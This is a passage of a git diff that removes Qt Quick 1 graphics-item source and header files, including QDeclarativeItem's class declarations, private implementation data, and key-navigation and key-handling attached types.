false; - break; - default: - break; - } - - return QGraphicsObject::event(ev); -} - -#ifndef QT_NO_DEBUG_STREAM -QDebug operator<<(QDebug debug, QDeclarativeItem *item) -{ - if (!item) { - debug << "QDeclarativeItem(0)"; - return debug; - } - - debug << item->metaObject()->className() << "(this =" << ((void*)item) - << ", parent =" << ((void*)item->parentItem()) - << ", geometry =" << QRectF(item->pos(), QSizeF(item->width(), item->height())) - << ", z =" << item->zValue() << ')'; - return debug; -} -#endif - -qint64 QDeclarativeItemPrivate::consistentTime = -1; -void QDeclarativeItemPrivate::setConsistentTime(qint64 t) -{ - consistentTime = t; -} - -class QElapsedTimerConsistentTimeHack_1 -{ -public: - void start() { - t1 = QDeclarativeItemPrivate::consistentTime; - t2 = 0; - } - qint64 elapsed() { - return QDeclarativeItemPrivate::consistentTime - t1; - } - qint64 restart() { - qint64 val = QDeclarativeItemPrivate::consistentTime - t1; - t1 = QDeclarativeItemPrivate::consistentTime; - t2 = 0; - return val; - } - -private: - qint64 t1; - qint64 t2; -}; - -void QDeclarativeItemPrivate::start(QElapsedTimer &t) -{ - if (QDeclarativeItemPrivate::consistentTime == -1) - t.start(); - else - ((QElapsedTimerConsistentTimeHack_1*)&t)->start(); -} - -qint64 QDeclarativeItemPrivate::elapsed(QElapsedTimer &t) -{ - if (QDeclarativeItemPrivate::consistentTime == -1) - return t.elapsed(); - else - return ((QElapsedTimerConsistentTimeHack_1*)&t)->elapsed(); -} - -qint64 QDeclarativeItemPrivate::restart(QElapsedTimer &t) -{ - if (QDeclarativeItemPrivate::consistentTime == -1) - return t.restart(); - else - return ((QElapsedTimerConsistentTimeHack_1*)&t)->restart(); -} - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/graphicsitems/qdeclarativeitem.h b/src/qtquick1/graphicsitems/qdeclarativeitem.h deleted file mode 100644 index 0eea30c2f2..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitem.h +++ /dev/null @@ -1,238 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEITEM_H -#define QDECLARATIVEITEM_H - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1State; -class QDeclarative1AnchorLine; -class QDeclarative1Transition; -class QDeclarative1KeyEvent; -class QDeclarative1Anchors; -class QDeclarativeItemPrivate; -class QDeclarativeV8Function; -class Q_QTQUICK1_EXPORT QDeclarativeItem : public QGraphicsObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_INTERFACES(QDeclarativeParserStatus) - - Q_PROPERTY(QDeclarativeItem * parent READ parentItem WRITE setParentItem NOTIFY parentChanged DESIGNABLE false FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty data READ data DESIGNABLE false) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty resources READ resources DESIGNABLE false) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty states READ states DESIGNABLE false) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty transitions READ transitions DESIGNABLE false) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QString state READ state WRITE setState NOTIFY stateChanged) - Q_PROPERTY(QRectF childrenRect READ childrenRect NOTIFY childrenRectChanged DESIGNABLE false FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1Anchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine left READ left CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine right READ right CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine horizontalCenter READ horizontalCenter CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine top READ top CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine bottom READ bottom CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine verticalCenter READ verticalCenter CONSTANT FINAL) - Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarative1AnchorLine baseline READ baseline CONSTANT FINAL) - Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged) - Q_PROPERTY(bool clip READ clip WRITE setClip NOTIFY clipChanged) // ### move to QGI/QGO, NOTIFY - Q_PROPERTY(bool focus READ hasFocus WRITE setFocus NOTIFY focusChanged FINAL) - Q_PROPERTY(bool activeFocus READ hasActiveFocus NOTIFY activeFocusChanged) - Q_PROPERTY(QDeclarativeListProperty transform READ transform DESIGNABLE false FINAL) - Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged) - Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item - Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged) - Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1) - Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1) - - Q_ENUMS(TransformOrigin) - Q_CLASSINFO("DefaultProperty", "data") - -public: - enum TransformOrigin { - TopLeft, Top, TopRight, - Left, Center, Right, - BottomLeft, Bottom, BottomRight - }; - - QDeclarativeItem(QDeclarativeItem *parent = 0); - virtual ~QDeclarativeItem(); - - QDeclarativeItem *parentItem() const; - void setParentItem(QDeclarativeItem *parent); - - QRectF childrenRect(); - - bool clip() const; - void setClip(bool); - - qreal baselineOffset() const; - void setBaselineOffset(qreal); - - QDeclarativeListProperty transform(); - - qreal width() const; - void setWidth(qreal); - void resetWidth(); - qreal implicitWidth() const; - - qreal height() const; - void setHeight(qreal); - void resetHeight(); - qreal implicitHeight() const; - - void setSize(const QSizeF &size); - - TransformOrigin transformOrigin() const; - void setTransformOrigin(TransformOrigin); - - bool smooth() const; - void setSmooth(bool); - - QRectF boundingRect() const; - virtual void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - - bool hasActiveFocus() const; - bool hasFocus() const; - void setFocus(bool); - - bool keepMouseGrab() const; - void setKeepMouseGrab(bool); - - Q_INVOKABLE void mapFromItem(QDeclarativeV8Function*) const; - Q_INVOKABLE void mapToItem(QDeclarativeV8Function*) const; - Q_INVOKABLE void forceActiveFocus(); - Q_INVOKABLE QDeclarativeItem *childAt(qreal x, qreal y) const; - -Q_SIGNALS: - void childrenRectChanged(const QRectF &); - void baselineOffsetChanged(qreal); - void stateChanged(const QString &); - void focusChanged(bool); - void activeFocusChanged(bool); - void parentChanged(QDeclarativeItem *); - void transformOriginChanged(TransformOrigin); - void smoothChanged(bool); - void clipChanged(bool); - Q_REVISION(1) void implicitWidthChanged(); - Q_REVISION(1) void implicitHeightChanged(); - -protected: - bool isComponentComplete() const; - virtual bool sceneEvent(QEvent *); - virtual bool event(QEvent *); - virtual QVariant itemChange(GraphicsItemChange, const QVariant &); - - void setImplicitWidth(qreal); - bool widthValid() const; // ### better name? - void setImplicitHeight(qreal); - bool heightValid() const; // ### better name? - - virtual void classBegin(); - virtual void componentComplete(); - virtual void keyPressEvent(QKeyEvent *event); - virtual void keyReleaseEvent(QKeyEvent *event); - virtual void inputMethodEvent(QInputMethodEvent *); - virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; - void keyPressPreHandler(QKeyEvent *); - void keyReleasePreHandler(QKeyEvent *); - void inputMethodPreHandler(QInputMethodEvent *); - - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - -protected: - QDeclarativeItem(QDeclarativeItemPrivate &dd, QDeclarativeItem *parent = 0); - -private: - Q_DISABLE_COPY(QDeclarativeItem) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem) - - friend class QDeclarativeAccessibleAttached; -}; - -template - T qobject_cast(QGraphicsObject *o) -{ - QObject *obj = o; - return qobject_cast(obj); -} - -// ### move to QGO -template -T qobject_cast(QGraphicsItem *item) -{ - if (!item) return 0; - QObject *o = item->toGraphicsObject(); - return qobject_cast(o); -} - -#ifndef QT_NO_DEBUG_STREAM -QDebug Q_QTQUICK1_EXPORT operator<<(QDebug debug, QDeclarativeItem *item); -#endif - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarativeItem) -QML_DECLARE_TYPE(QGraphicsObject) -QML_DECLARE_TYPE(QGraphicsTransform) -QML_DECLARE_TYPE(QGraphicsScale) -QML_DECLARE_TYPE(QGraphicsRotation) -QML_DECLARE_TYPE(QGraphicsWidget) -QML_DECLARE_TYPE(QAction) - -QT_END_HEADER - -#endif // QDECLARATIVEITEM_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeitem_p.h b/src/qtquick1/graphicsitems/qdeclarativeitem_p.h deleted file mode 100644 index 75d1339dd4..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitem_p.h +++ /dev/null @@ -1,635 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEITEM_P_H -#define QDECLARATIVEITEM_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/qdeclarativeitem.h" - -#include "QtQuick1/private/qdeclarativeanchors_p.h" -#include "QtQuick1/private/qdeclarativeanchors_p_p.h" -#include "QtQuick1/private/qdeclarativeitemchangelistener_p.h" -#include - -#include -#include -#include -#include - -#include -#include - -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -class QNetworkReply; - -class QDeclarativeItemKeyFilter; -class QDeclarative1LayoutMirroringAttached; - -//### merge into private? -class QDeclarative1Contents : public QObject, public QDeclarativeItemChangeListener -{ - Q_OBJECT -public: - QDeclarative1Contents(QDeclarativeItem *item); - ~QDeclarative1Contents(); - - QRectF rectF() const; - - void childRemoved(QDeclarativeItem *item); - void childAdded(QDeclarativeItem *item); - - void calcGeometry() { calcWidth(); calcHeight(); } - void complete(); - -Q_SIGNALS: - void rectChanged(QRectF); - -protected: - void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry); - void itemDestroyed(QDeclarativeItem *item); - //void itemVisibilityChanged(QDeclarativeItem *item) - -private: - void calcHeight(QDeclarativeItem *changed = 0); - void calcWidth(QDeclarativeItem *changed = 0); - - QDeclarativeItem *m_item; - qreal m_x; - qreal m_y; - qreal m_width; - qreal m_height; -}; - -class Q_QTQUICK1_EXPORT QDeclarativeItemPrivate : public QGraphicsItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeItem) - -public: - QDeclarativeItemPrivate() - : _anchors(0), _contents(0), - baselineOffset(0), - _anchorLines(0), - _stateGroup(0), origin(QDeclarativeItem::Center), - widthValid(false), heightValid(false), - componentComplete(true), keepMouse(false), - smooth(false), transformOriginDirty(true), doneEventPreHandler(false), - inheritedLayoutMirror(false), effectiveLayoutMirror(false), isMirrorImplicit(true), - inheritMirrorFromParent(false), inheritMirrorFromItem(false), isAccessible(0), keyHandler(0), - mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), attachedLayoutDirection(0), hadSubFocusItem(false) - { - QGraphicsItemPrivate::acceptedMouseButtons = 0; - isDeclarativeItem = 1; - QGraphicsItemPrivate::flags = QGraphicsItem::GraphicsItemFlags( - QGraphicsItem::ItemHasNoContents - | QGraphicsItem::ItemIsFocusable - | QGraphicsItem::ItemNegativeZStacksBehindParent); - } - - void init(QDeclarativeItem *parent) - { - Q_Q(QDeclarativeItem); - if (parent) { - QDeclarative_setParent_noEvent(q, parent); - q->setParentItem(parent); - QDeclarativeItemPrivate *parentPrivate = QDeclarativeItemPrivate::get(parent); - setImplicitLayoutMirror(parentPrivate->inheritedLayoutMirror, parentPrivate->inheritMirrorFromParent); - } - baselineOffset.invalidate(); - mouseSetsFocus = false; - } - - bool isMirrored() const { - return effectiveLayoutMirror; - } - - // Private Properties - qreal width() const; - void setWidth(qreal); - void resetWidth(); - - qreal height() const; - void setHeight(qreal); - void resetHeight(); - - virtual qreal implicitWidth() const; - virtual qreal implicitHeight() const; - virtual void implicitWidthChanged(); - virtual void implicitHeightChanged(); - - void resolveLayoutMirror(); - void setImplicitLayoutMirror(bool mirror, bool inherit); - void setLayoutMirror(bool mirror); - - QDeclarativeListProperty data(); - QDeclarativeListProperty resources(); - - QDeclarativeListProperty states(); - QDeclarativeListProperty transitions(); - - QString state() const; - void setState(const QString &); - - QDeclarative1AnchorLine left() const; - QDeclarative1AnchorLine right() const; - QDeclarative1AnchorLine horizontalCenter() const; - QDeclarative1AnchorLine top() const; - QDeclarative1AnchorLine bottom() const; - QDeclarative1AnchorLine verticalCenter() const; - QDeclarative1AnchorLine baseline() const; - - // data property - static void data_append(QDeclarativeListProperty *, QObject *); - static int data_count(QDeclarativeListProperty *); - static QObject *data_at(QDeclarativeListProperty *, int); - static void data_clear(QDeclarativeListProperty *); - - // resources property - static QObject *resources_at(QDeclarativeListProperty *, int); - static void resources_append(QDeclarativeListProperty *, QObject *); - static int resources_count(QDeclarativeListProperty *); - static void resources_clear(QDeclarativeListProperty *); - - // transform property - static int transform_count(QDeclarativeListProperty *list); - static void transform_append(QDeclarativeListProperty *list, QGraphicsTransform *); - static QGraphicsTransform *transform_at(QDeclarativeListProperty *list, int); - static void transform_clear(QDeclarativeListProperty *list); - - static QDeclarativeItemPrivate* get(QDeclarativeItem *item) - { - return item->d_func(); - } - - QDeclarative1Anchors *anchors() { - if (!_anchors) { - Q_Q(QDeclarativeItem); - _anchors = new QDeclarative1Anchors(q); - if (!componentComplete) - _anchors->classBegin(); - } - return _anchors; - } - QDeclarative1Anchors *_anchors; - QDeclarative1Contents *_contents; - - QDeclarativeNullableValue baselineOffset; - - struct AnchorLines { - AnchorLines(QGraphicsObject *); - QDeclarative1AnchorLine left; - QDeclarative1AnchorLine right; - QDeclarative1AnchorLine hCenter; - QDeclarative1AnchorLine top; - QDeclarative1AnchorLine bottom; - QDeclarative1AnchorLine vCenter; - QDeclarative1AnchorLine baseline; - }; - mutable AnchorLines *_anchorLines; - AnchorLines *anchorLines() const { - Q_Q(const QDeclarativeItem); - if (!_anchorLines) _anchorLines = - new AnchorLines(const_cast(q)); - return _anchorLines; - } - - enum ChangeType { - Geometry = 0x01, - SiblingOrder = 0x02, - Visibility = 0x04, - Opacity = 0x08, - Destroyed = 0x10 - }; - - Q_DECLARE_FLAGS(ChangeTypes, ChangeType) - - struct ChangeListener { - ChangeListener(QDeclarativeItemChangeListener *l, QDeclarativeItemPrivate::ChangeTypes t) : listener(l), types(t) {} - QDeclarativeItemChangeListener *listener; - QDeclarativeItemPrivate::ChangeTypes types; - bool operator==(const ChangeListener &other) const { return listener == other.listener && types == other.types; } - }; - - void addItemChangeListener(QDeclarativeItemChangeListener *listener, ChangeTypes types) { - changeListeners.append(ChangeListener(listener, types)); - } - void removeItemChangeListener(QDeclarativeItemChangeListener *, ChangeTypes types); - QPODVector changeListeners; - - QDeclarative1StateGroup *_states(); - QDeclarative1StateGroup *_stateGroup; - - QDeclarativeItem::TransformOrigin origin:5; - bool widthValid:1; - bool heightValid:1; - bool componentComplete:1; - bool keepMouse:1; - bool smooth:1; - bool transformOriginDirty : 1; - bool doneEventPreHandler : 1; - bool inheritedLayoutMirror:1; - bool effectiveLayoutMirror:1; - bool isMirrorImplicit:1; - bool inheritMirrorFromParent:1; - bool inheritMirrorFromItem:1; - bool isAccessible:1; - - QDeclarativeItemKeyFilter *keyHandler; - - qreal mWidth; - qreal mHeight; - qreal mImplicitWidth; - qreal mImplicitHeight; - - QDeclarative1LayoutMirroringAttached* attachedLayoutDirection; - - bool hadSubFocusItem; - void setAccessibleFlagAndListener(); - - QPointF computeTransformOrigin() const; - - virtual void setPosHelper(const QPointF &pos) - { - Q_Q(QDeclarativeItem); - QRectF oldGeometry(this->pos.x(), this->pos.y(), mWidth, mHeight); - QGraphicsItemPrivate::setPosHelper(pos); - q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), mWidth, mHeight), oldGeometry); - } - - // Reimplemented from QGraphicsItemPrivate - virtual void subFocusItemChange() - { - bool hasSubFocusItem = subFocusItem != 0; - if (((flags & QGraphicsItem::ItemIsFocusScope) || !parent) && hasSubFocusItem != hadSubFocusItem) - emit q_func()->activeFocusChanged(hasSubFocusItem); - //see also QDeclarativeItemPrivate::focusChanged - hadSubFocusItem = hasSubFocusItem; - } - - // Reimplemented from QGraphicsItemPrivate - virtual void focusScopeItemChange(bool isSubFocusItem) - { - emit q_func()->focusChanged(isSubFocusItem); - } - - - // Reimplemented from QGraphicsItemPrivate - virtual void siblingOrderChange() - { - Q_Q(QDeclarativeItem); - for(int ii = 0; ii < changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::SiblingOrder) { - change.listener->itemSiblingOrderChanged(q); - } - } - } - - // Reimplemented from QGraphicsItemPrivate - virtual void transformChanged(); - - virtual void focusChanged(bool); - - virtual void mirrorChange() {}; - - static qint64 consistentTime; - static void setConsistentTime(qint64 t); - static void start(QElapsedTimer &); - static qint64 elapsed(QElapsedTimer &); - static qint64 restart(QElapsedTimer &); -}; - -/* - Key filters can be installed on a QDeclarativeItem, but not removed. Currently they - are only used by attached objects (which are only destroyed on Item - destruction), so this isn't a problem. If in future this becomes any form - of public API, they will have to support removal too. -*/ -class QDeclarativeItemKeyFilter -{ -public: - QDeclarativeItemKeyFilter(QDeclarativeItem * = 0); - virtual ~QDeclarativeItemKeyFilter(); - - virtual void keyPressed(QKeyEvent *event, bool post); - virtual void keyReleased(QKeyEvent *event, bool post); - virtual void inputMethodEvent(QInputMethodEvent *event, bool post); - virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; - virtual void componentComplete(); - - bool m_processPost; - -private: - QDeclarativeItemKeyFilter *m_next; -}; - -class QDeclarative1KeyNavigationAttachedPrivate : public QObjectPrivate -{ -public: - QDeclarative1KeyNavigationAttachedPrivate() - : QObjectPrivate(), - left(0), right(0), up(0), down(0), tab(0), backtab(0), - leftSet(false), rightSet(false), upSet(false), downSet(false), - tabSet(false), backtabSet(false) {} - - QDeclarativeItem *left; - QDeclarativeItem *right; - QDeclarativeItem *up; - QDeclarativeItem *down; - QDeclarativeItem *tab; - QDeclarativeItem *backtab; - bool leftSet : 1; - bool rightSet : 1; - bool upSet : 1; - bool downSet : 1; - bool tabSet : 1; - bool backtabSet : 1; -}; - -class QDeclarative1KeyNavigationAttached : public QObject, public QDeclarativeItemKeyFilter -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1KeyNavigationAttached) - - Q_PROPERTY(QDeclarativeItem *left READ left WRITE setLeft NOTIFY leftChanged) - Q_PROPERTY(QDeclarativeItem *right READ right WRITE setRight NOTIFY rightChanged) - Q_PROPERTY(QDeclarativeItem *up READ up WRITE setUp NOTIFY upChanged) - Q_PROPERTY(QDeclarativeItem *down READ down WRITE setDown NOTIFY downChanged) - Q_PROPERTY(QDeclarativeItem *tab READ tab WRITE setTab NOTIFY tabChanged) - Q_PROPERTY(QDeclarativeItem *backtab READ backtab WRITE setBacktab NOTIFY backtabChanged) - Q_PROPERTY(Priority priority READ priority WRITE setPriority NOTIFY priorityChanged) - - Q_ENUMS(Priority) - -public: - QDeclarative1KeyNavigationAttached(QObject * = 0); - - QDeclarativeItem *left() const; - void setLeft(QDeclarativeItem *); - QDeclarativeItem *right() const; - void setRight(QDeclarativeItem *); - QDeclarativeItem *up() const; - void setUp(QDeclarativeItem *); - QDeclarativeItem *down() const; - void setDown(QDeclarativeItem *); - QDeclarativeItem *tab() const; - void setTab(QDeclarativeItem *); - QDeclarativeItem *backtab() const; - void setBacktab(QDeclarativeItem *); - - enum Priority { BeforeItem, AfterItem }; - Priority priority() const; - void setPriority(Priority); - - static QDeclarative1KeyNavigationAttached *qmlAttachedProperties(QObject *); - -Q_SIGNALS: - void leftChanged(); - void rightChanged(); - void upChanged(); - void downChanged(); - void tabChanged(); - void backtabChanged(); - void priorityChanged(); - -private: - virtual void keyPressed(QKeyEvent *event, bool post); - virtual void keyReleased(QKeyEvent *event, bool post); - void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir); -}; - -class QDeclarative1LayoutMirroringAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(bool enabled READ enabled WRITE setEnabled RESET resetEnabled NOTIFY enabledChanged) - Q_PROPERTY(bool childrenInherit READ childrenInherit WRITE setChildrenInherit NOTIFY childrenInheritChanged) - -public: - explicit QDeclarative1LayoutMirroringAttached(QObject *parent = 0); - - bool enabled() const; - void setEnabled(bool); - void resetEnabled(); - - bool childrenInherit() const; - void setChildrenInherit(bool); - - static QDeclarative1LayoutMirroringAttached *qmlAttachedProperties(QObject *); -Q_SIGNALS: - void enabledChanged(); - void childrenInheritChanged(); -private: - friend class QDeclarativeItemPrivate; - QDeclarativeItemPrivate *itemPrivate; -}; - -class QDeclarative1KeysAttachedPrivate : public QObjectPrivate -{ -public: - QDeclarative1KeysAttachedPrivate() - : QObjectPrivate(), inPress(false), inRelease(false) - , inIM(false), enabled(true), imeItem(0), item(0) - {} - - bool isConnected(const char *signalName); - - QGraphicsItem *finalFocusProxy(QGraphicsItem *item) const - { - QGraphicsItem *fp; - while ((fp = item->focusProxy())) - item = fp; - return item; - } - - //loop detection - bool inPress:1; - bool inRelease:1; - bool inIM:1; - - bool enabled : 1; - - QGraphicsItem *imeItem; - QList targets; - QDeclarativeItem *item; -}; - -class QDeclarative1KeysAttached : public QObject, public QDeclarativeItemKeyFilter -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1KeysAttached) - - Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged) - Q_PROPERTY(QDeclarativeListProperty forwardTo READ forwardTo) - Q_PROPERTY(Priority priority READ priority WRITE setPriority NOTIFY priorityChanged) - - Q_ENUMS(Priority) - -public: - QDeclarative1KeysAttached(QObject *parent=0); - ~QDeclarative1KeysAttached(); - - bool enabled() const { Q_D(const QDeclarative1KeysAttached); return d->enabled; } - void setEnabled(bool enabled) { - Q_D(QDeclarative1KeysAttached); - if (enabled != d->enabled) { - d->enabled = enabled; - emit enabledChanged(); - } - } - - enum Priority { BeforeItem, AfterItem}; - Priority priority() const; - void setPriority(Priority); - - QDeclarativeListProperty forwardTo() { - Q_D(QDeclarative1KeysAttached); - return QDeclarativeListProperty(this, d->targets); - } - - virtual void componentComplete(); - - static QDeclarative1KeysAttached *qmlAttachedProperties(QObject *); - -Q_SIGNALS: - void enabledChanged(); - void priorityChanged(); - void pressed(QDeclarative1KeyEvent *event); - void released(QDeclarative1KeyEvent *event); - void digit0Pressed(QDeclarative1KeyEvent *event); - void digit1Pressed(QDeclarative1KeyEvent *event); - void digit2Pressed(QDeclarative1KeyEvent *event); - void digit3Pressed(QDeclarative1KeyEvent *event); - void digit4Pressed(QDeclarative1KeyEvent *event); - void digit5Pressed(QDeclarative1KeyEvent *event); - void digit6Pressed(QDeclarative1KeyEvent *event); - void digit7Pressed(QDeclarative1KeyEvent *event); - void digit8Pressed(QDeclarative1KeyEvent *event); - void digit9Pressed(QDeclarative1KeyEvent *event); - - void leftPressed(QDeclarative1KeyEvent *event); - void rightPressed(QDeclarative1KeyEvent *event); - void upPressed(QDeclarative1KeyEvent *event); - void downPressed(QDeclarative1KeyEvent *event); - void tabPressed(QDeclarative1KeyEvent *event); - void backtabPressed(QDeclarative1KeyEvent *event); - - void asteriskPressed(QDeclarative1KeyEvent *event); - void numberSignPressed(QDeclarative1KeyEvent *event); - void escapePressed(QDeclarative1KeyEvent *event); - void returnPressed(QDeclarative1KeyEvent *event); - void enterPressed(QDeclarative1KeyEvent *event); - void deletePressed(QDeclarative1KeyEvent *event); - void spacePressed(QDeclarative1KeyEvent *event); - void backPressed(QDeclarative1KeyEvent *event); - void cancelPressed(QDeclarative1KeyEvent *event); - void selectPressed(QDeclarative1KeyEvent *event); - void yesPressed(QDeclarative1KeyEvent *event); - void noPressed(QDeclarative1KeyEvent *event); - void context1Pressed(QDeclarative1KeyEvent *event); - void context2Pressed(QDeclarative1KeyEvent *event); - void context3Pressed(QDeclarative1KeyEvent *event); - void context4Pressed(QDeclarative1KeyEvent *event); - void callPressed(QDeclarative1KeyEvent *event); - void hangupPressed(QDeclarative1KeyEvent *event); - void flipPressed(QDeclarative1KeyEvent *event); - void menuPressed(QDeclarative1KeyEvent *event); - void volumeUpPressed(QDeclarative1KeyEvent *event); - void volumeDownPressed(QDeclarative1KeyEvent *event); - -private: - virtual void keyPressed(QKeyEvent *event, bool post); - virtual void keyReleased(QKeyEvent *event, bool post); - virtual void inputMethodEvent(QInputMethodEvent *, bool post); - virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; - - const QByteArray keyToSignal(int key) { - QByteArray keySignal; - if (key >= Qt::Key_0 && key <= Qt::Key_9) { - keySignal = "digit0Pressed"; - keySignal[5] = '0' + (key - Qt::Key_0); - } else { - int i = 0; - while (sigMap[i].key && sigMap[i].key != key) - ++i; - keySignal = sigMap[i].sig; - } - return keySignal; - } - - struct SigMap { - int key; - const char *sig; - }; - - static const SigMap sigMap[]; -}; - - -Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeItemPrivate::ChangeTypes); - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1KeysAttached) -QML_DECLARE_TYPEINFO(QDeclarative1KeysAttached, QML_HAS_ATTACHED_PROPERTIES) -QML_DECLARE_TYPE(QDeclarative1KeyNavigationAttached) -QML_DECLARE_TYPEINFO(QDeclarative1KeyNavigationAttached, QML_HAS_ATTACHED_PROPERTIES) -QML_DECLARE_TYPE(QDeclarative1LayoutMirroringAttached) -QML_DECLARE_TYPEINFO(QDeclarative1LayoutMirroringAttached, QML_HAS_ATTACHED_PROPERTIES) - -#endif // QDECLARATIVEITEM_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeitemchangelistener_p.h b/src/qtquick1/graphicsitems/qdeclarativeitemchangelistener_p.h deleted file mode 100644 index ebffed6759..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitemchangelistener_p.h +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file 